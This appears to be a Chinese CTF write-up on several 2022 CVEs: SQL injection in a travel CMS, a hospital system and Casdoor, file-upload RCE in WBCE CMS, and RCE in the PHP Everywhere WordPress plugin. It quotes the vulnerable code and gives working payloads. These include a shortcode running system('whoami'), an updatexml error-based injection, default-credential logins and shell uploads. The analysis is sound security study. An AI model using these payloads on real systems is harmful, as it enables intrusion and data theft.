洞都太多了,不一个个深究了,没啥意思,场景还是蛮有意思的
1.CVE-2022-32992
Online Tours & Travels management system SQLI
该CMS的admin/operations/tax.php中存在可控的INSERT 语句参数,从而导致了SQL注入攻击。
(1)admin/operations
其实这个 CMS 的部分文件里还是做了 PDO 处理的,但是这个文件夹下面的注入原理都一样,不只是tax.php
这一处
注入点出在short_code
这边
<?php
...
if(isset($_POST['submit']))
{
$sql = "INSERT INTO tax (tname, percent, short_code)
VALUES ('".$_POST['tname']."', '".$_POST['percent']."', '".$_POST['short_code']."')";
// use exec() because no results are returned
$conn->exec($sql);
$_SESSION['success']=' Record Added Successfully.....';
// echo "New record created successfully";
// $_SESSION['reply'] = "Added Successfully";
header("location:../tax_details.php");
}
?>
可以直接延时
包括下面的update()
也一样,edit_id
同样存在注入
<?php
...
if(isset($_POST['update']))
{
$sql = "UPDATE tax SET tname='".$_POST['tname']."',
percent='".$_POST['percent']."',
short_code='".$_POST['short_code']."'
WHERE id='".$_GET['edit_id']."'";
// Prepare statement
$stmt = $conn->prepare($sql);
// execute the query
$stmt->execute();
$_SESSION['success']=' Record Updated Successfully......';
// $_SESSION['reply'] = "Added Successfully";
header("location:../tax_details.php");
}
(2)admin/add_travellers.php
本质上还是调用的operations/travellers.php
可以文件上传 getshell
<?php
...
if(isset($_POST['submit']))
{
$file_name=$_FILES['photo']['name'];
$file_type=$_FILES['photo']['type'];
$file_size=$_FILES['photo']['size'];
$file_tem_loc=$_FILES['photo']['tmp_name'];
$file_store="../../admin/img/".$file_name;
if (move_uploaded_file($file_tem_loc, $file_store)){
echo "File Uploaded Successfully";
}
...
在admin/img/
下
admin 下的其他文件也有问题
2.CVE-2022-25101 && CVE-2022-25099
WBCE CMS v1.5.2 /templates/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE
我其实一直都觉得,进到后台才能打的漏洞比较鸡肋,毕竟是弱口令引起的
这个可以在 issues#406 和 issues#446 下找到
(1)install
其实在 Add-ons 里面的前两个是一样的,都用到了find_addon_root_path()
所以可以触发
admin/modules/install.php
admin/templates/install.php
<?php
...
function find_addon_root_path($zip)
{
// get list of files contained in the zip object
if (($zip_files = $zip->listContent()) == 0) {
return '';
}
// find first folder containing an info.php file
foreach ($zip_files as $zip_file => $info) {
if (basename($info['filename']) == 'info.php') {
return '/' . dirname($info['filename']);
}
}
return '';
}
写一个info.php
然后压缩成 .zip,直接传就可以了
language/install.php
里也有问题,方法是一样的
(2)upload
在 settings 下有黑名单,直接删了ph
那部分就行
然后转到 media 页面直接传
这部分请求的其实是这个文件/modules/elfinder/ef/php/connector.wbce.php
,然后执行到 219 行
<?php
...
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
这个类在同文件夹下的elFinderConnector.class.php
里
3.CVE-2022-24663
wordpress插件PHP Everywhere RCE
远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令
这个解出来的人好少啊……😅
直接挂 wpscan 开扫,默认用户名 test,字典用/usr/share/wordlists
test/test 登录即可
利用方式其实已经给出来了,通过请求 admin-ajax.php,POST 传递参数action=parse-media-shortcode&shortcode=[php_everywhere]<arbitrary PHP>[/php_everywhere]
例如这样shortcode=[php_everywhere]<?php system('whoami');?>[/php_everywhere]
返回结果就在第二行的 body 里,所以直接cat /flag
就行,想要纯净版的话,就在后面加个exit();
4.CVE-2022-24263
Hospital Management System sqli
源码在这,都是很基础的审计,不一个个扒拉了
admin/admin123 进后台,在 Add Doctor 这里可以注入
Queries 也可以
5.CVE-2022-24124
Casdoor api get-oraganizations SQL注入
Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台,带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞,该漏洞允许攻击者通过api/get-organizations进行攻击。
PS:这个洞是 E99p1ant 师傅挖的,可以看这里
默认 admin/123 登录
毕竟是 Go 开发的,不太熟悉,根据描述漏洞点在api/get-organizations
,先到 Swagger UI 下找找
GET 请求,必须有参数owner
,u1s1 没看懂,到源码里查一下,可以请求的参数有很多,主要看else
干了点啥
// @router /get-organizations [get]
func (c *ApiController) GetOrganizations() {
owner := c.Input().Get("owner")
limit := c.Input().Get("pageSize")
page := c.Input().Get("p")
field := c.Input().Get("field")
value := c.Input().Get("value")
sortField := c.Input().Get("sortField")
sortOrder := c.Input().Get("sortOrder")
if limit == "" || page == "" {
c.Data["json"] = object.GetMaskedOrganizations(object.GetOrganizations(owner))
c.ServeJSON()
} else {
limit := util.ParseInt(limit)
paginator := pagination.SetPaginator(c.Ctx, limit, int64(object.GetOrganizationCount(owner, field, value)))
organizations := object.GetMaskedOrganizations(object.GetPaginationOrganizations(owner, paginator.Offset(), limit, field, value, sortField, sortOrder))
c.ResponseOk(organizations, paginator.Nums())
}
}
paginator
应该是做分页处理的,重点看organizations
,最内层调用的是GetPaginationOrganizations()
func GetPaginationOrganizations(owner string, offset, limit int, field, value, sortField, sortOrder string) []*Organization {
organizations := []*Organization{}
session := GetSession(owner, offset, limit, field, value, sortField, sortOrder)
err := session.Find(&organizations)
if err != nil {
panic(err)
}
return organizations
}
这里又调用了GetSession()
func GetSession(owner string, offset, limit int, field, value, sortField, sortOrder string) *xorm.Session {
session := adapter.Engine.Limit(limit, offset).Where("1=1")
if owner != "" {
session = session.And("owner=?", owner)
}
if field != "" && value != "" {
session = session.And(fmt.Sprintf("%s like ?", util.SnakeString(field)), fmt.Sprintf("%%%s%%", value))
}
if sortField == "" || sortOrder == "" {
sortField = "created_time"
}
if sortOrder == "ascend" {
session = session.Asc(util.SnakeString(sortField))
} else {
session = session.Desc(util.SnakeString(sortField))
}
return session
}
在第二个if
也就是filed
那里,用fmt.Sprintf
格式化字符串拼接,直接造成注入,再加上有panic()
捕获异常,直接报错注入
field=updatexml(null,version(),null)
然后……,我 flag 找了半天……,mlgb 找不到,有没有好心的师傅说下😭